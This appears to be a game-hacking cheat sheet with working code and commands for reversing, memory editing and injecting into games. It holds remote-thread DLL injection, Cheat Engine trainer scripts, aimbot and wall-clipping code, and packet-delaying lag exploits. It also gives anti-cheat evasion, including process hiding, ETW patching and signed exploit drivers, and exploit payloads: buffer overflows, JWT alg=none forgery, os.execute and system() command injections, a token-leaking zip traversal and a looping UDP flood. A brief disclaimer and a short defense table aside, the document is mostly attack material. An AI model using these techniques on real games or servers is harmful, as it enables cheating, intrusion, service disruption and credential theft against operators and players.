Game Hacking Cheat Sheet

Welcome to the definitive guide for game hacking. This repository compiles advanced techniques, tools, and strategies for dissecting and manipulating games, intended strictly for authorized testing, education, and Capture The Flag (CTF) research.

This cheat sheet is structured for developers, security researchers, and reverse engineers. Unauthorized use is unethical and may violate laws or terms of service.

Recon and Static Analysis

Unravel game internals with these elite static analysis techniques.

Core Techniques

Run strings, binwalk, hexdump on binaries: Extract plaintext, embedded files, and hex patterns for initial insights.
Reverse .exe / .dll with Ghidra, IDA, or Binary Ninja: Decompile to pseudocode or assembly; leverage FLIRT signatures for known libraries (e.g., Unity, Unreal SDKs).
Map main(), WinMain(), or game loops: Trace entry points and core logic flows in disassemblers.
Extract debug symbols from .pdb / .dbg files: Recover function names, variables, and call stacks using DIA SDK.
Analyze sections (.text, .rdata, .data, .reloc, .bss): Identify code, strings, globals, relocations, and uninitialized data.
Identify calls to GetAsyncKeyState, memcmp, strstr: Locate input handling and string comparison routines.
Search internal function names via strings / RTTI: Exploit runtime type info or plaintext leaks to map logic.
Enumerate imports with rabin2 -i or LIEF: List DLL dependencies and hooked APIs.
Check linked libraries (DirectX, Mono, Vulkan): Detect frameworks for rendering, scripting, or physics.

Deep Dive and Expansion

Static analysis is often underutilized—maximize it with advanced correlation and metadata extraction.

Binary Forensics

Use radare2:

aaaa   # Auto-analysis  
izz    # Extract strings  
iS     # Check section entropy

Entropy Mapping:
- Identify packed/encrypted regions using binwalk -E or EntropyGUI
- High entropy (>7.0) suggests obfuscation

Cross-Platform Analysis

Mach-O (macOS):
- Use otool -lV for load commands
- Use jtool2 for Objective-C metadata
ELF (Linux):
- Run readelf -Ws for dynamic symbols
- Use patchelf to modify interpreters

Obfuscation Breakers

Symbol Recovery: Parse stripped .pdb files using DIA SDK
RTTI Exploitation: Rebuild C++ vtables in IDA using RTTI::CompleteObjectLocator

Code Cave Detection:

for seg in Segments():
    if SegName(seg) == ".text":
        for func in Functions(seg, SegEnd(seg)):
            size = GetFunctionAttr(func, FUNCATTR_END) - func
            if size > 5000:
                print("Potential cave at:", hex(func), "Size:", size)

CRC Check & Anti-Tamper Tracing:
- Look for mov eax, ds:CRC_TABLE, xor ecx, [ptr], etc.
PDB Symbol Leeching:
- Use Microsoft Symbol Servers (symsrv) to pull symbols from related builds
Embedded Scripting Engine Detection:
- Look for: PyRun_SimpleString, lua_pcall, duk_eval_string

Real-World Metadata Recon

PE Authenticode Signature Diffing:
```
sigcheck.exe -q -m  
osslsigncode
```
Language / Compiler Fingerprinting:
- Use binlex, lief, or retdec

Pattern	Origin
SEH frames	MSVC (Visual Studio)
`il2cpp::vm::` calls	Unity IL2CPP
`UFunction::ProcessEvent`	Unreal Engine

Ghidra Headless Automation

./analyzeHeadless project_dir project_name -import target.exe -postScript ExtractStrings.java -deleteProject

Obfuscation and Packing Detection Matrix

Obfuscation Technique	Detection Method	Tool(s)
UPX / Common Packers	Strings entropy, section size	`binwalk`, `die`, `upx -t`
VMProtect / Themida	`.text` entropy > 7.3, jmp chains	`PEiD`, `Detect It Easy`
Unity IL2CPP + Metadata	`global-metadata.dat` presence	`Il2CppDumper`, `IDA Pro`
Custom XOR / Rijndael	High-entropy strings, XOR loops	`radare2`, `capstone`, `Unicorn`
Lua Bytecode / JIT	`1B 4C 75 61` (Lua header)	`luadec`, `lua-dis`

Game-Specific Recon Signatures

Engine	Recon Target	Indicator / Signature
Unity (Mono)	`Assembly-CSharp.dll`, MonoBehaviour	Public classes, IL2CPP strings
Unreal (UE)	`UObject::GObjects`, `GNames`	`48 8B 05 ?? ?? ?? ?? 48 8B 0C C8`
CryEngine	`CrySystem.dll`, `CryEntitySystem.dll`	`CEntity::Update()` in IDA
Source	`client.dll`, `engine.dll`	`CreateMove`, `PaintTraverse`
GameMaker	`.yy`, `.yyp`, `GameMakerUI.dll`	`InitGameObject`, `ObjectSetLayer`

Asset Recon (Deep Reverse)

Unity:
- Use AssetRipper or AssetStudio to extract textures, classes
- Analyze global-metadata.dat, libil2cpp.so for IL2CPP mappings
Unreal Engine:
- Dump GObjects, GNames, UClass hierarchy using CE Table or SDK Generator
- Patch Engine.ini:
```
[Core.Log]
LogNet=Verbose
LogNetTraffic=VeryVerbose
```
Browser/WebGL Titles:
- Use wasm-decompile, wasm2wat, Chrome DevTools
- Hook eval, Function, WebAssembly.instantiateStreaming

Advanced Techniques

Capstone + Unicorn: Emulate decryption logic (e.g., XOR loops)
LLVM IR Analysis: Use RetDec to lift binaries to LLVM IR
Custom Signatures: Build FLIRT sigs for FMOD, PhysX, etc. using Ghidra

Engine Recon Automation (Unity, Unreal, etc.)

Understanding and automating engine-level reconnaissance is critical for every red teamer, cheat dev, or reverse engineer. Each modern engine (Unity, Unreal, CryEngine, etc.) provides predictable metadata, method tables, and memory layouts that you can scan, dump, or script around for massive leverage.

Goals of Engine Recon

Automatically locate key game logic (health, damage, abilities, inventory)
Identify functions to hook or patch
Map scripting engines (Mono, Lua, IL2CPP)
Dump class hierarchies (e.g. Player, Entity, Ability)
Locate rendering functions, timers, or input handlers
Script cheat tables or Frida hooks dynamically

Unity Engine (Mono / IL2CPP)

Identifying Unity Games

File Indicators:

UnityPlayer.dll, global-metadata.dat, Assembly-CSharp.dll
Directory: /Managed/, /Data/, /MonoBleedingEdge/
Presence of il2cpp_data/ for IL2CPP builds

Memory Indicators:

strings -n 10 game.exe | grep "UnityEngine"

UnityVersion tags in binary or Player.log.

Mono Runtime Recon

Steps:

Attach Cheat Engine or MonoMod tools
Go to Mono → Activate Mono Features
Use Dissect Mono to list all classes and methods
Hook method using mono_findMethod

Auto-dumper:

local c = mono_enumDomains()
for _, domain in pairs(c) do
    local assemblies = mono_enumAssemblies(domain)
    for _, asm in pairs(assemblies) do
        print("Assembly:", mono_getAssemblyName(asm))
    end
end

IL2CPP Automation

Tools:

Il2CppDumper (CLI/GUI)
IDA Plugin: Il2CppInspector
ScyllaHide + CE for live memory scans

Process:

Dump global-metadata.dat + GameAssembly.dll
Run:

Il2CppDumper GameAssembly.dll global-metadata.dat output/

Look for key class mappings: Player::TakeDamage, Inventory::AddItem, etc.

Bonus:

Use IDA Pro + FLIRT to auto-rename IL2CPP methods
Create .sig from Unity 2021.3 base headers for auto-tagging

Unreal Engine Recon (UE3/UE4/UE5)

Identifying Unreal Games

Static Indicators:

UE4Game.exe, UE5Game.exe, GEngine.dll, UnrealPak.exe
.pak files in /Content/ or /Paks/
UObject, UFunction, FString patterns in memory

Runtime Signatures:

Target	AOB Signature
GObjects	48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
GNames	48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
ProcessEvent	E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ??

Use pymem + AOB scan or CE Lua script to resolve dynamically.

Auto SDK Generation

Use UE4 SDK Generator:

UE4Dumper.exe -pid <target_pid> -dump

Generates: Classes.hpp, Offsets.hpp, Functions.cpp

Load in IDA to cross-ref symbols and write your own internal ProcessEvent() hook.

Auto Object Dumper (Python + pymem)

from pymem import Pymem

pm = Pymem("game.exe")
gobjects = pm.read_int(0x12345678)  # Found via sig scan
for i in range(1024):
    obj_ptr = pm.read_int(gobjects + i * 4)
    name = pm.read_string(obj_ptr + 0x18)
    print(f"[+] Object {i}: {name}")

GNames and GObjects Pattern Script in IDA or Ghidra

# Ghidra - find GNames
pattern = b"\x48\x8B\x05"
findBytes(currentProgram, pattern)

UE4 .ini Logging Hack (Optional)

Enable rich logging for network or events:

[Core.Log]
LogNet=VeryVerbose
LogNetTraffic=VeryVerbose
LogOnline=VeryVerbose

Also enable:

[/Script/Engine.RendererSettings]
r.DebugDraw = 1

WebAssembly and Browser Recon via WebGL

Static and Runtime Tools

wasm-decompile (binaryen)
wasm2wat (WABT)
Chrome DevTools → Memory panel → WebAssembly.Instance.exports
Hook WebAssembly.instantiateStreaming

Instrumentation Example (DevTools Console)

const original = WebAssembly.instantiate;
WebAssembly.instantiate = async function(buffer, importObj) {
    console.log("[+] Hooked WASM instantiate");
    return original.call(this, buffer, importObj);
};

Or use:

Function = new Proxy(Function, {
    apply(target, thisArg, args) {
        console.log("Eval:", args[0]);
        return Reflect.apply(...arguments);
    }
});

.wasm Mapping

wasm-decompile
radare2 -AA file.wasm
ghidra_wasm_plugin

Reverse-engineer exports: Identify heal(), moveTo(), attack().

Lua Engine Recon

What to Hook

lua_getglobal, lua_setglobal, lua_pcall
Enumerate Lua stack and global table

int n = lua_gettop(L);
lua_pushnil(L);
while (lua_next(L, LUA_GLOBALSINDEX)) {
    printf("%s\n", lua_tostring(L, -2));
    lua_pop(L, 1);
}

Dynamic Lua Hijacking (Frida)

Interceptor.attach(Module.findExportByName("lua_pcall"), {
    onEnter(args) {
        console.log("Calling Lua:", args[1]);
    }
});

Tools to Include

Engine	Tool	Purpose
Unity	Il2CppDumper, AssetRipper	Dump C# classes, metadata
Unreal	UE4Dumper, SDK Gen	Generate headers, locate hooks
WebGL	wasm-decompile, DevTools	Export analysis, JS interop
Lua	Frida, LuaJIT tools	Dump globals, hook logic

Engine-Specific Signatures

Use these indicators to fingerprint game engines and enable targeted reversing strategies.

Engine	Indicator	Signature / Pattern
Unity (IL2CPP)	global-metadata.dat, libil2cpp.so	.data section with metadata blob
Unity (Mono)	Assembly-CSharp.dll	IL code; browse via dnSpy / dotPeek
Unreal Engine	UObject::GObjects, GNames	48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
CryEngine	CrySystem.dll, CEntity::Update()	Export table symbols or IDA auto-analysis
Godot	.gd scripts, main_loop strings	Custom bytecode and scene structure patterns

Obfuscated Binary Detection and Unpacking

High-Entropy Sections (VMProtect, Themida, Enigma)

binwalk -E target.exe

IL2CPP Metadata Fingerprint (Unity)

with open("global-metadata.dat", "rb") as f:
    header = f.read(4)
    if header == b"\xAF\x1B\xB1\xFA":
        print("[+] IL2CPP Metadata Detected")

Unpacking VMProtect / Themida

Identify loader stub (jmp short, jmp dword ptr fs)
Trace decrypt stub via x64dbg + ScyllaHide
Dump real .text from memory using Scylla
Rebuild IAT with PE-bear or x64dbg IAT Rebuilder

C and C++ RTTI and Symbol Salvage

// IDA script: Recover class names
auto rtti = get_rtti_struct(ea);

Dynamic Memory Analysis

Master real-time memory manipulation with these professional-grade methods.

Core Techniques

Attach Cheat Engine, x64dbg, or Frida: Monitor live processes with breakpoints and value scans.
Scan/Freeze In-Memory Values: Lock health, ammo, or gold by finding and freezing addresses.
Trace "What Writes to Address": Locate opcodes modifying key variables (e.g., player stats).
Heap Spray Tracing: Monitor allocations during crafting or spawning for overflow targets.
Dynamic Import Resolution: Hook LoadLibrary/GetProcAddress to log runtime DLL calls.
Hook/Detour with Frida: Inject custom logic into game functions dynamically.
Use ReClass.NET: Reverse-engineer memory structures (e.g., player class pointers).
Hook DirectX/OpenGL: Overlay ESP/aimbot visuals by intercepting render calls.
Trace Memory Maps: Use /proc//maps (Linux) or VirtualQueryEx (Windows) to chart layouts.
Monitor Telemetry: Sniff heartbeat timers or uploads with Process Monitor/Wireshark.

Deep Dive

Flip bits in real-time with these advanced tactics.

Next-Level Techniques

Time Travel Debugging (TTD): Record execution with WinDbg Preview TTD, rewind to trace variable origins.
Heap Feng Shui: Force predictable heap layouts with controlled allocations (e.g., spray 0x1000-byte objects).

Frida Stalker:

Stalker.follow({
  events: { compile: true },
  onReceive: function (blocks) { console.log(blocks); }
});

DirectX/OpenGL Hooking:
- RenderDoc: Capture frames to reverse shaders.
- VTable Hooking: Swap IDXGISwapChain::Present for ESP overlays.
Kernel-Mode Monitoring: Use Intel Processor Trace (PT) via perf (Linux) or WinDbg kernel debugging.

Advanced Live Tactics

Frida Heap Tracker:

Interceptor.attach(Module.getExportByName(null, "malloc"), {
  onEnter: function (args) {
    this.size = args[0].toInt32();
  },
  onLeave: function (retval) {
    if (this.size == 0x500) {
      console.log("[*] Large allocation at: " + retval);
    }
  }
});

Shadowing Game Logic: Identify duplicate structs (e.g., player_data vs. player_shadow) in ReClass.NET to exploit state management.

Dynamic Function Pointer Dispatch:

var base = ptr("0x400000");
Memory.scan(base, 0x100000, "?? ?? ?? ?? ?? ?? ?? ??", {
  onMatch: function (address, size) {
    if (!address.readPointer().isNull()) {
      console.log("VTable candidate at:", address);
    }
  }
});

Continuous Memory Map Correlation: Track allocation deltas with VirtualQueryEx (Windows) or diff /proc//maps (Linux).
Snapshot-Diffing: Take memory dumps at different states and compare with pymem, pydiff, or Rust scanners.
Memory Breakpoint Watch:
- Cheat Engine: Right-click → "Find out what writes to this address"
- x64dbg:
```
bp access mem 0xDEADBEEF size 4 r/w
```

Advanced Techniques

Intel PIN: Instruction-level tracing for fine-grained analysis.
Memory Allocator Hooks: Intercept malloc/HeapAlloc to track allocations.
Custom Scanners: Build memory scanners in Rust for cross-platform efficiency.

Heap Spraying

List<GameObject> spray = new List<GameObject>();
for (int i = 0; i < 10000; i++) {
  spray.Add(new GameObject("HeapObject" + i));
}

Frida: Hooking malloc and free

Interceptor.attach(Module.getExportByName(null, 'malloc'), {
  onEnter(args) {
    this.size = args[0].toInt32();
  },
  onLeave(retval) {
    if (this.size > 1024) {
      console.log(`[+] Allocated: ${this.size} bytes at ${retval}`);
    }
  }
});

Live Allocation Tracker

Interceptor.attach(Module.getExportByName(null, "operator new"), {
  onEnter: function (args) {
    this.sz = args[0].toInt32();
  },
  onLeave: function (retval) {
    console.log("[+] new() size:", this.sz, " -> ", retval);
  }
});

Memory Map Diffing

Linux:

cat /proc/<pid>/maps

Windows:

VirtualQueryEx(hProc, address)

Dynamic Function Discovery via Frida

Module.enumerateRanges('r-x').forEach(range => {
  Memory.scan(range.base, range.size, '55 8B EC', {
    onMatch(addr) {
      console.log("[*] Function prologue at:", addr);
    }
  });
});

Recommended Tools

Purpose	Tool
Heap Tracing	Frida, Valgrind (Linux)
Structure Reversing	ReClass.NET
Frame Capture	RenderDoc, PIX
Runtime Instrumentation	Frida, Intel PIN
Live Scanning	pymem, Rust+WinAPI

Advanced Cheat Engine Usage

Cheat Engine (CE) is a powerful reverse engineering and memory editing tool, far beyond just scanning for health or ammo. Below is a modular breakdown to push CE into red team and CTF-grade use.

Tools Needed

Cheat Engine (latest build)
Custom driver (signed or unsigned)
Windows x64 target (Unity, Unreal, Mono, etc.)
Optional: Frida / x64dbg / ReClass.NET

1. Pointer Path Tracing (Multilevel Pointer Maps)

In modern games, static addresses don’t last — you must trace pointers.

Manual Pointer Walk:

[game.exe+0x02F41B90] → 0xDEADBEEF → +0x10 → Health

Steps:

Scan for health
Right-click → “What accesses this address”
Use “Pointer scan” → “Find path to value”
Reboot and validate

Auto Pointer Lookup via Lua:

local base = readPointer("game.exe+0x02F41B90")
local health = readInteger(base + 0x10)
print("Health:", health)

2. Code Injection w/ Auto Assembler

Patch game logic or build trainers.

Example: Health Freeze:

[ENABLE]
alloc(newmem,2048)
label(return)

newmem:
  mov [eax+10],#999
  jmp return

"game.exe"+123456:
  jmp newmem
return:

Bonus:

Use jmp short vs jmp near based on distance (5-byte near patch)

AOBScan for ASLR-Busting

Use signatures to find injection sites dynamically.

[ENABLE]
aobscanmodule(INJECT_AOB,game.exe,89 54 24 10 8B 45 ??)
alloc(newmem,2048,"game.exe")
label(return)

newmem:
  nop
  nop
  jmp return

INJECT_AOB:
  jmp newmem
return:

Good AOB tips:

Unique, short patterns
Avoid excessive wildcards
Grab from IDA/CE memory viewer

CE Mono Framework (Unity Games)

Interact directly with Mono-based Unity games.

Steps:

Attach → Mono → Activate Mono Features
Use “Dissect Mono” to inspect class/methods

🔧 Hook a Unity Method (Lua):

local method = mono_findMethod("Assembly-CSharp", "Player", "TakeDamage")
print("TakeDamage at:", string.format("0x%X", method.address))

Lua Scripting for Runtime Cheats

CE’s Lua API enables real-time memory editing and trainers.

F6 Hotkey to Refill Ammo:

function refillAmmo()
  writeInteger("[game.exe+0x1A2B3C4]", 999)
end

createHotkey(refillAmmo, VK_F6)

Add via Table → Show Cheat Table Lua Script

Anti-AntiCheat Stealth Tactics

CE is detectable — use these strategies:

Signature Evasion:

Rename executable
Hex-edit PE headers
Strip metadata/version info

PEB Unlinking:

dbk_writesIgnoreWriteProtection(true)

Use Stealth Edit Plugin:

Avoid global hooks
Inline memory edits

Driver Tricks:

Custom dbk64.sys
Load unsigned via KDMapper or Test Mode

Code Cave Injection

Patch unused memory space for full logic.

Steps:

Search for 00 00 00 00 in .text or .data
Inject your logic
JMP from game code to cave

alloc(cave, 512, "game.exe+0x123456")

CE and Frida Hybrid Debugging

Combine CE scanning + Frida hooks:

Use CE for:

Live struct discovery
Memory validation

Use Frida for:

Internal function hooking
Argument manipulation

Interceptor.attach(ptr("0xDEADBEEF"), {
  onEnter(args) {
    args[0] = ptr(999);
  }
});

Injection and Cheat Code

Inject cheats with surgical precision using these elite methods.

Core Techniques

Classic LoadLibrary Injection:

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID addr = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, addr, dllPath, strlen(dllPath)+1, NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, addr, 0, NULL);

Manual Mapping: Bypass detection with stealth injection (e.g., GH Injector).

Inline Hooks:

Original:
MOV EAX, [EBP+8]
CALL GameFunction

Hooked:
JMP HookFunction
NOP

VMT Hooking:

DWORD* vTable = *(DWORD**)player;
DWORD original = vTable[5];
vTable[5] = (DWORD)&MyFunction;

.text Cave Injection: Hide code in unused executable sections.
CreateRemoteThread: Inject into suspended processes silently.
IAT/EAT Patching: Redirect import/export tables to custom functions.
Hook Direct3D EndScene()/Present(): Render ESP overlays.
Shellcode in Heap: Inject small stubs for minimal footprint.
SetWindowsHookEx: Capture keyboard/mouse input globally.

Stealth Injection

Process Hollowing: Replace svchost.exe with game binary using NtUnmapViewOfSection + ZwMapViewOfSection.
Vectored Exception Handling (VEH): Hijack execution flow via AddVectoredExceptionHandler.
Reflective DLL Injection: Load DLLs from memory without touching disk.

Advanced Injection Strategies

Technique	Method	Use Case
.text Cave Injection	Inject in unused code section	High stealth
VEH Hook	Trigger via exception handler	Reflective injection
TLS Callback	Run code before `main()` in PE	Pre-initialization
IAT Patching	Redirect imports (e.g., `MessageBoxA`)	Function hijacking
Discord Overlay Hijack	DLL sideload via overlay	Bypass anti-cheat

eBPF Hooking (Linux): Attach probes to kernel syscalls for stealth.
PTrace Injection (Android): Modify running code using PTRACE_POKETEXT.

Exploitation Techniques

Uncover deep exploit pathways in both client and server components of modern games. Includes memory corruptions, logic flaws, protocol fuzzing, and weaponized savegame/asset injections.

Local Memory Exploits

Classic memory corruption bugs, still common in native engine modules, mods, or legacy games.

Stack Buffer Overflow in C and C++

void parse_chat(char *msg) {
  char buf[128];
  strcpy(buf, msg); // 💥 Vulnerable: No bounds check
}

Exploit Payload:

payload = b"A" * 132 + b"\xDE\xAD\xBE\xEF"
send_to_game_chat(payload)

Heap Overflow in Item Parser

void read_item(FILE *f) {
  char *buf = malloc(64);
  fread(buf, 1, 128, f); // 💥 Heap overflow
}

Heap Spray + UAF:

Use crafted .inv file.
Reallocate freed memory with attacker-controlled structure.

Savegame Exploits

Modern games often parse custom .sav, .json, or .bin save formats.

Target Areas:

Long strings (names, chat, inventory)
Embedded scripting fields
Reused legacy fields (e.g., Lua in old engines)

Save Exploit Example:

{
  "playerName": "A" * 1024 + "\u0041\u0041\u0041\u0041",
  "inventory": [{"item": "sword"}]
}

Execution Vector: If parsed with strcpy() or loaded into memory without bounds check, leads to RCE.

Tools: Radamsa, AFL++, zzuf, boofuzz, custom grammar fuzzers

Remote and Server-Side Exploits

Game backends often expose vulnerable APIs or real-time logic bugs.

API Parameter Tampering

POST /api/shop/buyItem
{
  "itemId": "super_legendary_sword",
  "price": 1
}

If price is only enforced client-side → free legendary loot.

Test With: Burp Suite, mitmproxy, Python requests

JWT Token Forgery

import jwt
token = jwt.encode({"user": "admin"}, "wrongkey", algorithm="HS256")

Works if backend accepts unsigned or improperly verified tokens.

alg=none Bypass:

{
  "alg": "none",
  "typ": "JWT"
}

Use: jwt.io, pyjwt, or node-jose.

Logic Exploits

Cooldown Tampering: Send multiple "cast spell" packets in quick succession.
Currency Race Conditions: Double-purchase via parallel POSTs.

Use ffuf, Intruder, or Python asyncio spammer.

Network and Protocol Exploits

Low-level network attacks can crash or take control of networked games.

UDP Fuzzing with Scapy

from scapy.all import *

payload = b"A" * 1024
pkt = IP(dst="192.168.1.15")/UDP(dport=27015)/payload
send(pkt, loop=1, inter=0.01)

Targets:

Legacy engine netcode (e.g., Source Engine)
Poorly written packet parsers (e.g., Protobuf over UDP)
Desync crashes in P2P engines (e.g., RakNet, Unity LLAPI)

Custom Protocol Reversing

Use Wireshark + custom dissectors to reverse:

Encryption schemes
Opcode IDs (RPCs)
Frag/ack logic in UDP game protocols

Combine with:

binwalk for packet structure
boofuzz to fuzz packet fields

Asset-Based RCE (Texture, Music, Map Files)

Games that load external assets (like .png, .mp3, .pak) via third-party libraries can be exploited via:

Malicious PNGs → libpng overflows
Malformed MP3 → libmad parsing flaws
Malicious .bsp or .pak → custom scripting hooks

Injected file triggers buffer overflows or logic flaws in parser.

Use: Peach Fuzzer, Fuzzino, or custom asset generators

Exploit Examples Matrix

Technique	Target	Description / Payload
Stack Overflow	Local buffer	`strcpy()` → overwrite return address
Savegame Injection	Client-side RCE	Craft `.sav` to trigger memory corruption
JWT Forgery	Backend auth bypass	`alg=none` or wrong key → admin access
Parameter Tampering	Game API	Buy top-tier items for 0 coins
Packet Fuzzing	Multiplayer engine	Oversized or malformed UDP packets
Race Condition Abuse	Crafting/shop	Double-purchase exploit with async flood
Script Injection	Lua-enabled titles	`"name": "x'); os.execute('calc.exe') --"`
Malicious Asset File	Texture/audio/map	Triggers in vulnerable parsers (e.g., `libpng`)

Advanced: Smart Contract and Game Logic Hacking

For blockchain-based games:

Replay signed transactions (double spend)
Injected logic via proxy contract manipulation
Abuse poorly-written game logic

Example:

function upgradeWeapon(uint weaponId, uint cost) {
  require(balance[msg.sender] >= cost); // no actual deduction
  weaponLevel[weaponId]++;
}

Exploit: Weapon can be upgraded indefinitely.

Toolchain for Exploit Research

Purpose	Tools
Savegame Fuzzing	Radamsa, AFL++, Boofuzz
Protocol Reversing	Wireshark, Scapy, Ghidra
Live Memory Analysis	Cheat Engine, Frida, ReClass.NET
Backend Exploits	Burp Suite, Postman, mitmproxy
JWT Manipulation	pyjwt, jwt.io, node-jose
File Format Exploits	Binwalk, Peach Fuzzer, zzuf
Multiplayer Spamming	ffuf, python-requests, asyncio tools

Replay System Hacking

Modern games often implement deterministic replay systems that log input, entity states, and timestamps to re-simulate gameplay. These replay files (.dem, .replay, .json, etc.) can be:

Reverse-engineered to extract telemetry
Modified to inject arbitrary input or manipulate the outcome
Exploited if the engine blindly trusts replay content
Used for offline aimbot training, analytics, or forensic attack reconstruction

Replay Formats by Engine-Game

Game / Engine	Format	Notes
CS:GO / Source	.dem	Proprietary binary log of commands/events
Rocket League	.replay	JSON-packed protobuf with physics frames
Overwatch	.replay	Zstd-compressed binary
StarCraft II	.SC2Replay	MPQ archive with Battle.net metadata
Fortnite / UE	.replay	Unreal's internal DemoNetDriver format
Dota 2	.dem (Source 2)	Similar to CS:GO but Source 2 enhancements

Reverse Engineering Replay Formats

General Steps

Identify structure (text, binary, protobuf, zlib, zstd?)
Use binwalk or xxd to inspect entropy and boundaries
Load into HexFiend, Ghidra, or write a custom parser

CS:GO Replay (.dem) Parsing

Tools: demoinfo2, CSGO-Demo-Parser, SourceDemoTool
Events include: svc_PacketEntities, svc_GameEvent, svc_TempEntities
Cheat use-case: Extract tick-perfect player behavior

Rocket League Replay Modding

JSON + protobuf + Zlib
Tools: BakkesMod, ReplayParser, Python decoder
Modify: PlayerInput (throttle, boost), PhysicsFrames (teleport, trajectory)

Exploitable Replay Logic (RCE and Logic Abuse)

Exploit Deserialization RCE

{
  "player_name": "__import__('os').system('calc.exe')"
}

Affected engines: Python-based, Unity with insecure JSON

Exploit Replay Re-Execution Abuse

eventQueue = {
  { tick=32, action="GiveGold(9999999)" },
  { tick=48, action="CastSpell('killall')" }
}

Hijack scripting logic in Lua/Unreal mod games

Exploit Server Replay Import Vulnerability

zip --junk-paths sc2.dmp ../AppData/Local/Blizzard/token.txt

Upload replay in web UI → leaks internal token

AI Bot Training via Replay Data

for tick in replay['frames']:
    model.learn(tick['player_pos'], tick['enemy_pos'], tick['aim_angle'])

Tools: PyTorch, YOLOv7, TensorRT, Keras-RL

Replay Corruption Use-Cases

Use Case	Technique
Wallhack Showcase	Alter player coordinates mid-replay
Fake Tournament Footage	Modify match outcome
Anti-Cheat Fingerprinting	Trace events to identify bans
Match Outcome Reversal	Inject impossible scores or goals
Engine Crash PoC	Upload malformed replays

Tools and Libraries

Tool	Language	Target Game
demoinfo2	C#	CS:GO
RLBotParser	Python	Rocket League
UEReplayReader	C++	Fortnite/Unreal
MPQEditor	Windows	StarCraft II
BakkesMod	C++	Rocket League
PySC2	Python	SC2 AI training

Replay Manipulation Example (Rocket League)

import zlib, json

with open("game.replay", "rb") as f:
    raw = f.read()

data = zlib.decompress(raw[16:])  # Skip header
replay = json.loads(data)

for frame in replay["Frames"]:
    for p in frame["PlayerData"]:
        p["Boost"] = 1.0

new_data = json.dumps(replay).encode()
compressed = zlib.compress(new_data)

with open("modded.replay", "wb") as f:
    f.write(raw[:16] + compressed)

Red Team Use-Cases

Phishing (malicious replays)
Telemetry tracking across demos
Replay Trojan loading malicious paths

Defense andf Mitigation

Weakness	Defense
Replay Deserialization	Strict schema, no dynamic `eval`
Script Injection	Filter commands, sandbox replay engine
Replay Import Abuse	Path sanitization, auth ACLs
DoS Payloads	Limit frame count/size
Client Trust Replay	Validate against server logs

Aimbots - Clipping and PvP Lag Exploits for PC and Console

This section delves into weaponized automation, physics manipulation, and lag-based game logic abuse in competitive multiplayer contexts. These techniques simulate adversarial behavior to enhance defensive strategies and understand vulnerabilities in game systems.

What This Covers

Area	Technique Class	Description
Aimbots	Screen, Memory, AI	Automate targeting of enemies with precision.
Clipping	Memory, Physics Patching	Bypass collision to move through objects.
Lag Exploits	Network Interference	Manipulate latency to disrupt PvP interactions.

Aimbot Typologies

Type	Source	Detection Risk	Platform
Memory Aimbot	Entity memory	High (Anti-Cheat)	PC only
Pixel Aimbot	Screen/Color	Low-Medium	PC/Console
AI Aimbot	Neural Vision	Low	PC/Console
Input-Based Aim	Controller Feed	Very Low	Console+PC

Memory-Based Aimbot (PC)

import math

RAD_TO_DEG = 180 / math.pi

def calculate_angle(my_pos, enemy_pos):
    delta = enemy_pos - my_pos
    yaw = math.atan2(delta.y, delta.x) * RAD_TO_DEG
    pitch = math.atan2(-delta.z, math.sqrt(delta.x**2 + delta.y**2)) * RAD_TO_DEG
    return pitch, yaw

void aim_at_target(DWORD base, Vector3 my_pos, Vector3 enemy_pos) {
    float pitch, yaw;
    calculate_angle(my_pos, enemy_pos, &pitch, &yaw);
    writeFloat(base + view_angles_offset, yaw);
    writeFloat(base + view_angles_offset + 4, pitch);
}

Pixel-Based Aimbot (PC and Console)

import pyautogui
import cv2
import numpy as np

def find_target():
    screenshot = pyautogui.screenshot()
    frame = np.array(screenshot)
    mask = cv2.inRange(frame, (200,0,0), (255,50,50))  # Red enemy box
    loc = np.where(mask > 0)
    if loc[0].size > 0:
        target = list(zip(*loc[::-1]))[0]
        pyautogui.moveTo(target[0], target[1])

def smooth_aim(current, target, speed=0.1):
    dx = (target[0] - current[0]) * speed
    dy = (target[1] - current[1]) * speed
    return current[0] + dx, current[1] + dy

AI Aimbot (Neural Targeting)

import torch

model = torch.hub.load('ultralytics/yolov5', 'yolov5s')
def aim_at_enemies(frame):
    results = model(frame)
    targets = results.pandas().xyxy[0]
    if not targets.empty:
        target = targets.iloc[0]
        center_x = (target['xmin'] + target['xmax']) / 2
        center_y = (target['ymin'] + target['ymax']) / 2
        adjust_aim(center_x, center_y)

from filterpy.kalman import KalmanFilter

kf = KalmanFilter(dim_x=4, dim_z=2)
kf.predict()
kf.update([measured_x, measured_y])

Console Aimbot (External)

#include <Joystick.h>

void aim_and_shoot(int x_offset, int y_offset) {
    Joystick.move(x_offset, y_offset);
    Joystick.pressButton(FIRE_BUTTON);
    delay(100);
    Joystick.releaseButton(FIRE_BUTTON);
}

Clipping (Wall Phasing and Map Glitches)

void disable_collision(DWORD player_ptr) {
    *(bool*)(player_ptr + collision_enabled_offset) = false;
}

bBlockingHit = false;  // Ignore collisions

Server-Side Teleport Desync

iptables -A OUTPUT -p udp --dport 27015 -j TEE --gateway 127.0.0.1
tc qdisc add dev lo root netem delay 600ms

PvP Lag Exploits

Interceptor.attach(Module.findExportByName("ws2_32.dll", "sendto"), {
    onEnter(args) {
        let packet = args[1];
        if (is_combat_packet(packet)) {
            Thread.sleep(600);
        }
    }
});

tc qdisc add dev eth0 root tbf rate 100kbit latency 50ms burst 1540

from scapy.all import *

def drop_damage_packets(pkt):
    if UDP in pkt and pkt[UDP].dport == 27015:
        if is_damage_received(pkt.load):
            return False
    return True

sniff(filter="udp", prn=drop_damage_packets, store=0)

DWORD WINAPI fake_tick_count() {
    return original_tick_count() - 2000;
}

Anti-Cheat Bypass Techniques

Evade detection with these next-level bypasses.

Core Techniques

Hook NtQuerySystemInformation:

if (SystemInformationClass == SystemProcessInformation) {
    // Modify buffer to hide process
}

Patch IsDebuggerPresent(): Nullify checks with a byte edit.

Disable ETW:

mov rdx, [EtwpProviderTable]
xor rdx, rdx

Driver-Level Injection: Use signed exploit drivers (e.g., Capcom.sys).

